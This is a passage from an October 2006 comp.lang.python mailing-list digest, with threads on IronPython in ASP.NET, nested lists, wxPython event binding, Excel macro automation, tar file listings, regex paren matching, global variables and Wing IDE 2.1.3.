References: <1160175618.029261.43440@i3g2000cwc.googlegroups.com>
Message-ID: <eg7kve$tr$1@sea.gmane.org>

Chandra wrote:
> Hi,
> 
> Is there a way to execute a python script(file) in ASP.NET application
> (programmatically)??
> 
Probably use IronPython, I should think.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From joshbloom at gmail.com  Tue Oct  3 18:45:07 2006
From: joshbloom at gmail.com (Josh Bloom)
Date: Tue, 3 Oct 2006 15:45:07 -0700
Subject: python html rendering
In-Reply-To: <efum0b$2r2$1@sea.gmane.org>
References: <efum0b$2r2$1@sea.gmane.org>
Message-ID: <d25b6e9a0610031545w33dba90g1abd0ec1fe5a94dd@mail.gmail.com>

Hey Pierre,

I'm using this plug-in for wordpress to display Python code.
http://blog.igeek.info/wp-plugins/igsyntax-hiliter/
It works pretty well and can display a lot of other languages as well.

-Josh


On 10/3/06, Pierre Imbaud <pierre at saiph.com> wrote:
>
> Hi, Im looking for a way to display some python code
> in html: with correct indentation, possibly syntax hiliting, dealing
> correctly with multi-line comment, and... generating valid html code if
> the python code itself deals with html (hence manipulates tag litterals.
> Thanks for your help!
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>
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From Hakusa at gmail.com  Mon Oct 23 02:43:57 2006
From: Hakusa at gmail.com (Hakusa at gmail.com)
Date: 22 Oct 2006 23:43:57 -0700
Subject: Arrays? (Or lists if you prefer)
In-Reply-To: <QCV_g.1097$GR2.1089@tornado.texas.rr.com>
References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com>
	<QCV_g.1097$GR2.1089@tornado.texas.rr.com>
Message-ID: <1161585837.292211.233680@i42g2000cwa.googlegroups.com>

Niel Cerutti wrote:
>Just build it up bit by bit, or build it all at once
>using range() and then fill it in afterwards.

>    >>> b =[range(2), range(2)]
>    >>> b
>    [0, 1], [0, 1]]
>    >>> b[0][1] = "OK."
>    >>> b
>    [0, 'OK.'], [0, 1]]

Interesting. Could I do . . . let's say

b = [range(range(3)]

for a three-dimensional array?


Paul McGuire wrote:
> As an example of using pyparsing, I chose a simple text adventure
> application, and had to create a 2-D grid of rooms.  The presentation
> materials are online at http://www.python.org/pycon/2006/papers/4/, and the
> source code is included with the examples that ship with pyparsing

I read your entire thing, but how much stuck is a testimate to how much
I have yet to learn. Also, I didn't see the source code or downoad or
anything there. Where is it again?

Thanks for the responces.



From maxime_phan at hotmail.com  Fri Oct 20 04:35:01 2006
From: maxime_phan at hotmail.com (maxime_phan at hotmail.com)
Date: 20 Oct 2006 01:35:01 -0700
Subject: new multiplayer game (made with pygame) platform
Message-ID: <1161333300.868404.158150@e3g2000cwe.googlegroups.com>

hello we would like to make you discover a new and free multiplayer
game platform: GameLAN.
All game are made with pygame, we have 3 multiplayer games now (Tetris
like game, Heroic fantaisy tactic game and gomoku game). We invite you
on the 22th of October at 4pm (Paris Time) to discover this platform.So
get ready to play and see you on sunday on our GameLAN games servers!
website: 
http://www.gamelan-project.com



From http  Wed Oct  4 11:30:19 2006
From: http (Paul Rubin)
Date: 04 Oct 2006 08:30:19 -0700
Subject: PEP 358 and operations on bytes
References: <mailman.1197.1159906581.10491.python-list@python.org>
	<1159931141.342507.108260@e3g2000cwe.googlegroups.com>
	<mailman.1269.1159973760.10491.python-list@python.org>
	<1159974809.492898.253490@i42g2000cwa.googlegroups.com>
Message-ID: <7xejtojdys.fsf@ruckus.brouhaha.com>

"John Machin" <sjmachin at lexicon.net> writes:
> So why haven't you been campaigning for regular expression support for
> sequences of int, and for various array.array subtypes?

regexps work on byte arrays.


From holly.woodland at gmail.com  Thu Oct 19 06:10:55 2006
From: holly.woodland at gmail.com (Holly)
Date: 19 Oct 2006 03:10:55 -0700
Subject: Python wrapper for C++ core
In-Reply-To: <1161153430.166027.301810@m73g2000cwd.googlegroups.com>
References: <1161126339.893795.254110@i3g2000cwc.googlegroups.com>
	<1161153430.166027.301810@m73g2000cwd.googlegroups.com>
Message-ID: <1161252654.989703.301750@i3g2000cwc.googlegroups.com>


Thanks everyone for the responses - I think I have a better
understanding now. I can handle all the messy I/O in Python and use C
for the number crunching. I especially like the idea of using python to
output the results to excel.

OK time to learn Python i think - any tips on best place to start
(tutorials/documentation etc). I have a pretty comprehensive background
in C/C++/Java and a bit of experience some other scripting languages so
its really a matter of syntax/libraries rather than programming
theory/constructs

>> see "fluid sim" and "games dev" in the same post, which kind of makes
>>me scratch my head.  What would you need fluid sim for in a game?

sorry i was just listing places I had seem people waxing lyrical on the
benefits of python. I am not doing games development - I have just
heard lots of games developers saying they use python

Thanks again for all the help!

Holly



From ptmcg at austin.rr._bogus_.com  Sun Oct 29 14:01:33 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Sun, 29 Oct 2006 19:01:33 GMT
Subject: logo design - BZZZT! OT!
References: <1162103065.460796.303660@f16g2000cwb.googlegroups.com>
Message-ID: <hU61h.25265$GR2.15753@tornado.texas.rr.com>

"Xah Lee" <xah at xahlee.org> wrote in message 
news:1162103065.460796.303660 at f16g2000cwb.googlegroups.com...
...
Again: the primary purpose of this message, is to beseach that the
power-that-be of lispers, seriously think about getting themselves a
official logo. Thanks.


Does the "power-that-be of lispers" spend much time on c.l.py?  Even though 
Python is mentioned in passing in this post, it really doesn't need to be 
cross-posted here.

-- Paul




From fredrik at pythonware.com  Fri Oct 20 04:03:49 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 10:03:49 +0200
Subject: invert or reverse a string... warning this is a rant
References: <eh8708$nc7$1@solaris.cc.vt.edu><7iNZg.117$1n3.3352@news.tufts.edu><eh89n4$r5q$1@solaris.cc.vt.edu><pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
	<eh9402$83e$1@solaris.cc.vt.edu>
Message-ID: <eh9vt5$u2$1@sea.gmane.org>

"Brad" <rtilley at vt.edu> wrote:

> Do you have children? How would your child feel if he brought you
> something he had made and you then told him it was awful in *sooo* many
> ways.

If you're arguing that everything a child does and says should be rewarded,
I seriously doubt that you have any.

(on the other hand, I didn't even have to tell my 3-year old that cutting the
whiskers off the kitten wasn't quite as clever as he had thought; he realized
that all by himself, but a bit too late for the poor animal...)

</F> 





From steve at holdenweb.com  Mon Oct 23 15:34:20 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 23 Oct 2006 20:34:20 +0100
Subject: Attempting to parse free-form ANSI text.
In-Reply-To: <453D16CA.6030805@vtxmail.ch>
References: <GsGdnTIYc-lXaafYnZ2dnUVZ_sCdnZ2d@comcast.com>	<JfU_g.1083$GR2.132@tornado.texas.rr.com>	<453CBC03.6090003@vtxmail.ch>	<453D151C.8080905@vtxmail.ch>
	<453D16CA.6030805@vtxmail.ch>
Message-ID: <ehj5dr$8s9$1@sea.gmane.org>

Frederic Rentsch wrote:
> Frederic Rentsch wrote:
> 
>>Frederic Rentsch wrote:
>>  
>>
>>>Paul McGuire wrote:
>>>  
>>>    
>>>
>>>>"Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> wrote in message 
>>>>    
>>>>      
>>
>>Sorry about the line wrap mess in the previous message. I try again with 
>>another setting:
>>
>>Frederic
>>  
> 
> I give up!
> 
> 
Don't give up, attach it as a file!

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From gh at gregor-horvath.com  Sun Oct 15 03:00:02 2006
From: gh at gregor-horvath.com (Gregor Horvath)
Date: Sun, 15 Oct 2006 09:00:02 +0200
Subject: Web Hosting
In-Reply-To: <1160893959.465993.138820@i42g2000cwa.googlegroups.com>
References: <1160893959.465993.138820@i42g2000cwa.googlegroups.com>
Message-ID: <71e04$4531dc72$506c2949$1674@news.chello.at>

Sir Psycho schrieb:
> 
> Im looking at making a site in Python, however, Im lost as to what ISPs
> actually support. Some ISPs say they support Python so does that mean
> if I wanted to use TurboGears It would just work anyway?

http://docs.turbogears.org/1.0/Hosting?highlight=%28hosting%29

-- 
  Servus, Gregor


From grante at visi.com  Tue Oct 24 13:46:42 2006
From: grante at visi.com (Grant Edwards)
Date: Tue, 24 Oct 2006 17:46:42 -0000
Subject: Visibility against an unknown background
References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com>
	<ehlbvm$rg9$1@sea.gmane.org>
	<mailman.1086.1161705691.11739.python-list@python.org>
Message-ID: <12jskc24dmsgdfa@corp.supernews.com>

On 2006-10-24, Fredrik Lundh <fredrik at pythonware.com> wrote:
> Sergei Organov wrote:
>
>> There is a better way to do it. Check if the toolkit has line
>> drawing mode that XORs the line color with the background,
>> then draw using this mode and white color of the line.
>
> which means that the selection looks like crap most of the
> time,

Possibly -- depending on your defnition of "crap". ;)

> and doesn't work at all on medium gray or b/w dithered
> patterns.

That depends on what you use as your source color.  Mostly
people use use white like I mentioned. I wouldn't say it
doesn't work "at all", since I've always been able to see a
slightly different gray or stippled line, but there are
colors/patterns where an XOR'ed white line doesn't stand out
well.

Xoring a color other than white will should show up better on
gray.  There will still be colors/patterns that any color won't
show up on when Xor'ed, but by picking a color other than
white, you'll probably run across it less often.

> for most cases, "marching ants" is a much better approach
> (usually done by drawing alternating stippled patterns).

That's what the GIMP does, and it is highly visible on any
background.  However, it's far more complex (it requires both
animation and some sort of backing store).  It's especially
difficult to do with curved or diagonal lines.

-- 
Grant Edwards                   grante             Yow!  The PILLSBURY
                                  at               DOUGHBOY is CRYING for
                               visi.com            an END to BURT REYNOLDS
                                                   movies!!


From franz.steinhaeusler at gmx.at  Thu Oct  5 14:13:02 2006
From: franz.steinhaeusler at gmx.at (Franz Steinhaeusler)
Date: Thu, 5 Oct 2006 20:13:02 +0200 (CEST)
Subject: tkinter newsgroup or mailing list
Message-ID: <eg3hvd$s9h$1@newsreader2.utanet.at>

Hello NG,

I'm asking this, (although I know a mailing list on gmane
gmane.comp.python.tkinter and there is so little traffic
compared to the mailing list of wxPython also mirrored
on gmane gmane.comp.python.wxpython.

I cannot imagine, that there is no more interest
in exchanging opinions, or is this really the case?

Is tkinter so simple, that no more questions appear?
Or is it simply so uninteresting? :)

-- 
Franz Steinhaeusler



From bjobrien62 at gmail.com  Sat Oct  7 16:59:59 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 7 Oct 2006 13:59:59 -0700
Subject: class print?
Message-ID: <1160254799.657198.240360@e3g2000cwe.googlegroups.com>

Hi... Many python object can be printed simpy by saying:
print obj
what method(s) need to be implemented in my own classes such that print
dumps the object?



From jcoleman at franciscan.edu  Wed Oct 18 11:42:01 2006
From: jcoleman at franciscan.edu (John Coleman)
Date: 18 Oct 2006 08:42:01 -0700
Subject: Win32 python and excel macros
In-Reply-To: <1161180798.760994.111230@k70g2000cwa.googlegroups.com>
References: <1161180798.760994.111230@k70g2000cwa.googlegroups.com>
Message-ID: <1161186121.020753.20810@b28g2000cwb.googlegroups.com>


michael.pearmain at tangozebra.com wrote:
> Hi Experts,
>
> Looking for a very quick bit on of advice on how to make some python
> code run.  I'm a newbie to both VBA and Python, so i apologise if this
> is very easy but i'm about to tear my hair out after googling for the
> last 3 days.
>
> I have written a large python script which inside of it creates an
> Excel table, the name of this file and how many objects can change for
> each project i run.
>
> I have then written a VBA script which takes the info from Excel and
> drops it into a PowerPoint Pres.
>
> Both of these procedures work fine, but i am coming unstuck when i try
> to apply the macro, (or .xla) file to the new tables autmatically.  Can
> anyone give me any guidance on this?
>
> The macro is called sub is CTP and the add-in file is CTP.XLA
>
> Below is the code i've managed to 'Stick' together
>
> Mike
>
> import win32com.client
> xl = win32com.client.Dispatch("Excel.Application")
> ppt = win32com.client.Dispatch("PowerPoint.Application")
> xl.Visible = 1 #open MS Excel
> ppt.Visible = 1 #open MS Powerpoint
> xl.Workbooks.Open('Z:\\projects\\surveys\\SPSS - Generic files\\big
> output.xls') #A table for a project
> xl.Workbooks.Open('Z:\\projects\\surveys\\SPSS - Generic
> files\\CTP.xla') # Stored macro add-in
> ppt.Presentations.Open('Z:\\projects\\surveys\\SPSS - Generic
> files\\Basic Template.ppt')
> xl.Application.ExecuteExcel4macro('CTP!CTP.xla()"[big output.XLS]')

It doesn't really make sense to apply a *file* to a *file*  - you apply
a sub or function in that file to a range in the other file (I'm
assuming that your table is stored as a range of cells). What
ExcecuteExcel4Macro is expecting as input is a string along the lines
of
'CTP!MacroName(Workbooks("big output").Range("A1:C100"))'
(experiment with using "" instead of " since VBA requires embedded " to
be escaped by "" - but since you are writing this in Python it might
not be necessary). Maybe experiment with writing a VBA macro in Excel
which can successfuly launch the macro you need and then translate the
appropriate snippet to your python script. Also - are you sure that the
add-in macro is an old-style Excel4 macro? That would make it about 10
years old or deliberately retro. If not - the run method might be more
appropriate.

You should probably open the workbooks in such a way that big
output.xls is the active workbook (and not ctp.xla) since most add-ins
assume that the calling workbook is the active workbook (although - I
don't know how an old-style pre-VBA Excel4 macro handled things). Thus
you would probably want to open big output.xls last (or use
xl.Application.Workbooks("big output").Activate ) to make sure that it
is the active workbook. Also - do you even have to open ctp.xla
explicitly? If it is an installed add-in then that line might be
redundant.

A final potential problem is that big output.xls might require a
reference to ctp.xla. This sometimes happens when you try to invoke
add-in code from another VBA project - but I would think that the
ExecuteExcel4macro would bypass that.

I can't comment on the python part of the equation - I am a complete
newbie there.

You might consider reposting this in microsoft.public.excel.programming
since many of the regular posters there know a lot about automating
Excel from scripting languages. They could at least help you with the
VBA side of the equation.

I hope that my random thoughts don't misguide you too much.

-John Coleman



From Roka100 at gmail.com  Mon Oct 30 06:15:45 2006
From: Roka100 at gmail.com (Jia Lu)
Date: 30 Oct 2006 03:15:45 -0800
Subject: wxFrame don't have Bind attribute ??
In-Reply-To: <mailman.1480.1162205808.11739.python-list@python.org>
References: <1162189869.503325.51280@b28g2000cwb.googlegroups.com>
	<mailman.1480.1162205808.11739.python-list@python.org>
Message-ID: <1162206945.246107.122390@h48g2000cwc.googlegroups.com>


Steve Holden ??????:
> Perhaps you could show us the code that's failing,

the code is :

<code>
#!/usr/bin/python -tt

__author__ = "Jia Lu <roka100 at gmail.com>"
__verstion__ = "1.0.0"

import wx

class MyFrame(wx.Frame):
  def __init__(self):
    wx.Frame.__init__(self, None, -1, "MyFrame", size=(300,300))
    panel = wx.Panel(self, -1)
    panel.Bind(wx.EVT_MOTION, self.OnMove)
    wx.StaticText(panel, -1, "Pos:", pos=(100,105))
    self.posCtrl = wx.TextCtrl(panel, -1, "", pos=(130,100))

  def OnMove(self, event):
    pos = event.GetPosition()
    self.posCtrl.SetValue("%s, %s" % (pos.x, pos.y))

if __name__ == "__main__":
  app = wx.PySimpleApp()
  frame = MyFrame()
  frame.Show(True)
  app.MainLoop()



From horpner at yahoo.com  Tue Oct 24 11:23:23 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 24 Oct 2006 17:23:23 +0200
Subject: The format of filename
References: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>
	<mailman.1074.1161701843.11739.python-list@python.org>
	<slrnejsaoq.1gg.horpner@FIAD06.norwich.edu>
	<slrnejsb2q.1pk.horpner@FIAD06.norwich.edu>
Message-ID: <slrnejsc0e.1pk.horpner@FIAD06.norwich.edu>

On 2006-10-24, Neil Cerutti <horpner at yahoo.com> wrote:
> On 2006-10-24, Neil Cerutti <horpner at yahoo.com> wrote:
>> Is translation of '/' to '\\' a feature of Windows or Python?
>
> Well, *that* was easy to discover on my own. ;-)
>
> Thanks for the pointers.

Some experimentation shows that Python does seem to provide
*some* translation. Windows lets me use '/' as a path separator,
but not as the name of the root of a partition name. But perhaps
this a peculiarity of the commands themselves, and not of Windows
path names in particular.

  C:\PYTHON24>CD /
  The syntax of the command is incorrect.
  
  C:\PYTHON24>CD \
  C:\>EDIT /PYTHON24/README
  The syntax of the command is incorrect.

-- 
Neil Cerutti
The outreach committee has enlisted 25 visitors to make calls on
people who are not afflicted with any church. --Church Bulletin
Blooper


From bogus@does.not.exist.com  Sat Oct  7 00:53:22 2006
From: bogus@does.not.exist.com (goyatlah)
Date: Sat, 07 Oct 2006 06:53:22 +0200
Subject: dictionary containing a list
References: <1160170679.625037.300000@c28g2000cwb.googlegroups.com>
Message-ID: <hdcei2lfnfr4h9e1hhbm2qbbcma17p71hp@4ax.com>

I think what you mean is that if you change your list, it is changed
somewhere in your dicrionary to. Lists are always copied as pointers,
except explicitly told other wise. So a = b = [] makes a and be the
same list, and a.append(1) makes b ->  [1].
So do something like mydict[mykey] = mylist[:] (Slicing gives a copy
of the list, not the pointer).
Hope this helps.

Moi
Dolf

On 6 Oct 2006 14:37:59 -0700, "Ben" <Benjamin.Barker at gmail.com> wrote:

>Hello...
>
>I have set up a dictionary into whose values I am putting a list. I
>loop around and around filling my list each time with new values, then
>dumping this list into the dictionary. Or so I thought...
>
>It would appear that what I am dumping into the dictionary value is
>only a pointer to the original list, so after all my iterations all I
>have is a dictionary whose every value is equal to that of the list the
>final time I looped around :-(
>
>Is there a way to acheive what I was attempting ? I have done something
>almost identical with classes  in a list before, and in that case a new
>instance was created for each list entry...
>
>
>I hope this makes some sense, and doesn't seem to head bangingly
>simple...
>
>
>Cheers,
>
>Ben



From cmacn024 at uottawa.ca  Tue Oct 10 08:34:04 2006
From: cmacn024 at uottawa.ca (cmacn024 at uottawa.ca)
Date: 10 Oct 2006 05:34:04 -0700
Subject: Using Gnutar to remove a list of files
Message-ID: <1160483644.216310.249760@m73g2000cwd.googlegroups.com>

Hi folks, I've got a question for yas.  I'm trying to write code that
will open up a gzipped tar file using gnutar, and copy the list of
files(including their directories) to a list variable in python.  From
there, I want to go through the list and delete those files from my
system.  That part is easy, but what I'm stuck on is getting the list
of files in an archive into a list variable.  If I use the -t parameter
in gnutar, it prints a list of the files in a seperate cmd screen, but
only returns 0.  Is there any way to make it return a list, or to copy
the information over?  Thanks in advance!



From fredrik at pythonware.com  Wed Oct 18 15:45:43 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 18 Oct 2006 21:45:43 +0200
Subject: unloading extension library
In-Reply-To: <1161199377.259570.234430@m73g2000cwd.googlegroups.com>
References: <1161198746.006021.261320@m7g2000cwm.googlegroups.com>
	<1161199377.259570.234430@m73g2000cwd.googlegroups.com>
Message-ID: <eh6098$7kp$1@sea.gmane.org>

Bill Pursell wrote:

>>>> del sys.modules["spam"]
>>>> del spam
> 
> Should remove all the references, but I still don't want to wait for
> garbage collection.  I need to be sure that the dlclose() happens
> and the destructors are called.  Can I do that? (without relying
> on ctypes, preferrably.)

in general, no.  Python's not C++; you cannot rely on the garbage 
collector to release resources at a given time (or to release them at 
all, for that matter).

if you want to tear down an object or a module in a reliable fashion, 
you need to provide an API for that purpose.

</F>



From fredrik at pythonware.com  Mon Oct 30 02:17:13 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 08:17:13 +0100
Subject: Is it possible to use python to unit test C++ code?
In-Reply-To: <3790A97A1A03424A83B9FEE947A4E39AD66CBC@zmy16exm63.ds.mot.com>
References: <3790A97A1A03424A83B9FEE947A4E39AD66CBC@zmy16exm63.ds.mot.com>
Message-ID: <ei48tp$1gt$1@sea.gmane.org>

Liu HuaDong-E6754C wrote:

> Did any one used python to do C++ unit test?
> If u did, could u give some actions how to do unit test by using python.

use a standard tool to generate a binding for the relevant C++ libraries:

http://www.effbot.org/pyfaq/how-do-i-interface-to-c-objects-from-python.htm

and then write Python code to do the tests, preferably using an 
available Python testing framework.  this page mentions some of them:

http://www.effbot.org/pyfaq/how-do-i-test-a-python-program-or-component.htm

http://docs.python.org/lib/module-doctest.html
http://docs.python.org/lib/module-unittest.html

</F>



From martin at v.loewis.de  Wed Oct  4 17:31:39 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 04 Oct 2006 23:31:39 +0200
Subject: sax barfs on unicode filenames
In-Reply-To: <mailman.1293.1159994879.10491.python-list@python.org>
References: <WOOUg.61$iP5.19@newsfe07.lga>	<4ohufoFem6rpU1@uni-berlin.de>	<mailman.1271.1159974049.10491.python-list@python.org>	<45241B66.7050205@v.loewis.de>
	<mailman.1293.1159994879.10491.python-list@python.org>
Message-ID: <4524283B.9050500@v.loewis.de>

Fredrik Lundh schrieb:
> Martin v. L?wis wrote:
> 
>> Yes. While you can pass Unicode strings as file names to many Python
>> functions, you can't pass them to Expat, as Expat requires the file name
>> as a byte string. Hence the error.
> 
> sounds like a bug in the xml.sax layer, really (ET also uses Expat, and
> doesn't seem to have any problems dealing with unicode filenames...)

That's because ET never invokes XML_SetBase. Without testing, this
suggests that there might be problem in ET with relative URIs
in parsed external entities. XML_SetBase expects a char* for the
base URI.

Regards,
Martin


From steve at holdenweb.com  Mon Oct 30 16:35:05 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 30 Oct 2006 21:35:05 +0000
Subject: create global variables?
In-Reply-To: <slrnekcd6f.3da.wojciech_mula@cat.tac>
References: <mailman.1495.1162227948.11739.python-list@python.org>
	<slrnekcd6f.3da.wojciech_mula@cat.tac>
Message-ID: <ei5r42$m9v$1@sea.gmane.org>

Wojciech Mu?a wrote:
> Alistair King wrote:
> 
>>is there a simple way of creating global variables within a function?
> 
> 
> def foo(name):
> 	globals()[name] = "xxx"
> 	globals()[name + 'aa'] = "yyy"
> 	globals()[name + 'ab'] = "zzz"

Please note that this is a terrible programming practice. Anyone who 
really thinks they need to do this should be thinking hard about whether 
they are using Python correctly (though tere are occasionaly 
requirements where the feature can legitimately be used).

It would be *much* easier and *much* better programming practice to 
modify your code so the function returns a two-element tuple, which you 
then assign to two variables in an unpacking assignment.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From scott.daniels at acm.org  Fri Oct 13 11:53:45 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Fri, 13 Oct 2006 08:53:45 -0700
Subject: Loops Control with Python
In-Reply-To: <mailman.446.1160749325.11739.python-list@python.org>
References: <mailman.446.1160749325.11739.python-list@python.org>
Message-ID: <452fae58$1@nntp0.pdx.net>

Wijaya Edward wrote:
> Can we make loops control in Python? What I mean is that whether
> we can control which loops to exit/skip at the given scope.
> For example in Perl we can do something like:
>   OUT:
>   foreach my $s1 ( 0 ...100) {
>       IN:
>       foreach my $s2 (@array) {
>             if ($s1 == $s2) {
>                next OUT;
>             }
>             else {
>                 last IN; 
>             } 
>        }
>   }
> How can we implement that construct with Python?

If you are not willing to determine the problem the code is
written to solve, you are doomed to working with "Perl in Python".
While I think Python is a far better language than Perl, I remain
convinced that Perl is a better Perl than Python.  Describe an
actual problem, don't simply give an example from another language.

If you don't know about break, continue, and for ... else, go
study the Python language.

-- 
--Scott David Daniels
scott.daniels at acm.org


From info at wingware.com  Thu Oct 12 12:36:19 2006
From: info at wingware.com (Wingware Announce)
Date: Thu, 12 Oct 2006 12:36:19 -0400 (EDT)
Subject: Wing IDE 2.1.3 released
Message-ID: <Pine.LNX.4.64.0610121235260.8254@localhost.localdomain>

Hi,

We're happy to announce version 2.1.3 of Wing IDE, an advanced
development environment for the Python programming language.

This is a bug fix release that fixes debugger support for 
Python 2.5 final, improves VI mode and multi-file replace,
and adds support for Subversion 1.4, among other things.

The release can be downloaded from:

http://wingware.com/downloads

A detailed list of changes is available here:

http://wingware.com/pub/wingide/2.1.3/CHANGELOG.txt

Wing IDE provides powerful debugging, editing, code intelligence,
and search capabilities that reduce development and debugging
time, cut down on coding errors, and make it easier to understand
and navigate Python code.

Highlights of Wing IDE 2.1:

* Professional quality code editor
* Visual Studio, VI/Vim, Emacs, and Brief key bindings
* Auto-completion, call tips, and source browser
* Graphical debugger for Python, Zope, and Plone
* Subversion, CVS, and Perforce integration
* Powerful search interface
* User-extensible with Python scripts
* Templates (code snippets), bookmarks, folding, macros, and more

Some features are available in Wing IDE Pro only -- for details
see http://wingware.com/wingide/features

This release is available for Windows (2000+), Linux, and Mac OS X
(10.3+ with X11 installed) and can be compiled from sources on *BSD,
Solaris, and other Posix operating systems.

For more information see:

Product Info:   http://wingware.com/products
Sales:          http://wingware.com/store/purchase

Sincerely,

The Wingware Team 




From deets at web.de  Sat Oct  7 18:00:29 2006
From: deets at web.de (Diez B. Roggisch)
Date: 7 Oct 2006 15:00:29 -0700
Subject: need some regular expression help
In-Reply-To: <1160256609.555007.83170@e3g2000cwe.googlegroups.com>
References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com>
Message-ID: <1160258429.883224.285830@i3g2000cwc.googlegroups.com>


Chris wrote:
> I need a pattern that  matches a string that has the same number of '('
> as ')':
> findall( compile('...'), '42^((2x+2)sin(x)) + (log(2)/log(5))' ) = [
> '((2x+2)sin(x))', '(log(2)/log(5))' ]
> Can anybody help me out?

This is not possible with regular expressions - they can't "remember"
how many parens they already encountered.

You will need a real parser for this - pyparsing seems to be the most
popular choice today, I personally like spark. I'm sure you find an
example-grammar that will parse simple arithmetical expressions like
the one above.

Diez



From steve at holdenweb.com  Wed Oct 25 19:07:50 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 26 Oct 2006 00:07:50 +0100
Subject: question about True values
In-Reply-To: <1161812827.596356.316450@f16g2000cwb.googlegroups.com>
References: <grO%g.152$1n3.4134@news.tufts.edu>	<7x4ptsi544.fsf@ruckus.brouhaha.com>	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>	<7xvem8gq22.fsf@ruckus.brouhaha.com>	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
Message-ID: <ehoqm3$6iq$4@sea.gmane.org>

John Coleman wrote:
> Martin v. L?wis wrote:
> 
>>John Coleman schrieb:
>>
>>>Yes - it just seems that there isn't a principled reason for implicitly
>>>converting 3 to 3.0 in 3.0 == 3 but not implicitly converting "cat" to
>>>boolean in "cat" == true.
>>
>>Sure there is: equality should be transitive. So while we have
>>3 == 3L == 3.0 == 3.0+0j
>>and can therefore imply that 3 == 3.0+0j, we should not get
>>5 == True == ["foo"]
>>and therefore imply that 5 == ["foo"].
>>
>>The phenomenon really exists only for numeric types (that two
>>values of different types still represent the same "thing"),
>>so it's not surprising that this doesn't readily extend to
>>other types.
>>
>>In Python, there are only very few similar cases: byte strings
>>and unicode strings sometimes compare equal (but, since 2.5,
>>don't compare unequal very often); lists and tuples could be
>>considered to have equal values, but don't actually do compare
>>equal.
>>
>>Regards,
>>Martin
> 
> 
> Very good point, though one could argue perhaps that when one is
> comparing an object with a truth value then one is implicitly asking
> for the truth value of that object i.e. how it would function if used
> in an if statement, etc. This would make code like 'if s: ' equivalent
> to 'if s == True:' with a possible gain in readability. But - as you
> demonstrate the cost of that (minimal) gain in readability would be too
> high. In any event - I think it is mostly bad style to use a
> non-boolean variable in 'if s:' - it reminds me too much of obscure C
> code (though others might disagree).
> 
That's such a well-used (even though sometime abused) Ptyhon idiom that 
it's never going to go away.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From odalrick at hotmail.com  Fri Oct 20 08:23:17 2006
From: odalrick at hotmail.com (Odalrick)
Date: 20 Oct 2006 05:23:17 -0700
Subject: wxPython and PIL
In-Reply-To: <mailman.762.1161275598.11739.python-list@python.org>
References: <1161270623.627758.71040@e3g2000cwe.googlegroups.com>
	<mailman.762.1161275598.11739.python-list@python.org>
Message-ID: <1161346997.942629.80610@m73g2000cwd.googlegroups.com>

Thanks for the answer.



From g.brandl-nospam at gmx.net  Fri Oct  6 04:19:36 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Fri, 06 Oct 2006 10:19:36 +0200
Subject: Metaprogramming question
In-Reply-To: <QMiVg.52605$qF1.285329@weber.videotron.net>
References: <QMiVg.52605$qF1.285329@weber.videotron.net>
Message-ID: <eg53ip$pe4$1@news.albasani.net>

Steve Menard wrote:
> I have a need to create class instance without invokking the class' __init__ 
> method.
> 
> Were I using old-style classes, I'd  use new.instance() function. However, I 
> am using new-style classes and new.instance() complain "TypeError: 
> instance() argument 1 must be classobj, not type" ...
> 
> So my question is, how to replicate new.instance() functionality with new 
> classes?

Use object.__new__.

Georg


From andre.naess at gmail.com  Sat Oct  7 05:12:13 2006
From: andre.naess at gmail.com (andre.naess at gmail.com)
Date: 7 Oct 2006 02:12:13 -0700
Subject: Dumping the state of a deadlocked process
In-Reply-To: <1160169525.373389.207990@c28g2000cwb.googlegroups.com>
References: <1160164771.210372.141120@h48g2000cwc.googlegroups.com>
	<1160169525.373389.207990@c28g2000cwb.googlegroups.com>
Message-ID: <1160212333.072497.224360@i42g2000cwa.googlegroups.com>


MrJean1 wrote:
> Did you try using the signal module?  If not, a basic example is here
> <http://docs.python.org/lib/node546.html> which may need to be
> extended.

I looks useful. I gave it a try, and the only weakness it has is that
when my process locks, it locks so badly that it doesn't respond to
CTRL-C, or any other signal. But by sending it a SIGQUIT which causes
it to dump the current state, and then kill it, I get the dump I need.

This is actually not a multi-threaded app. It's an application which
uses a SQL DB. The problem I was having was that I had a cursor which
started a transaction, and then never finished. Then some other cursor
came along and tried to perform a delete table, and they both locked
up. The cursor isn't ending it's transaction, and the transaction
prevents the delete table from being executed. Luckily Postgresql
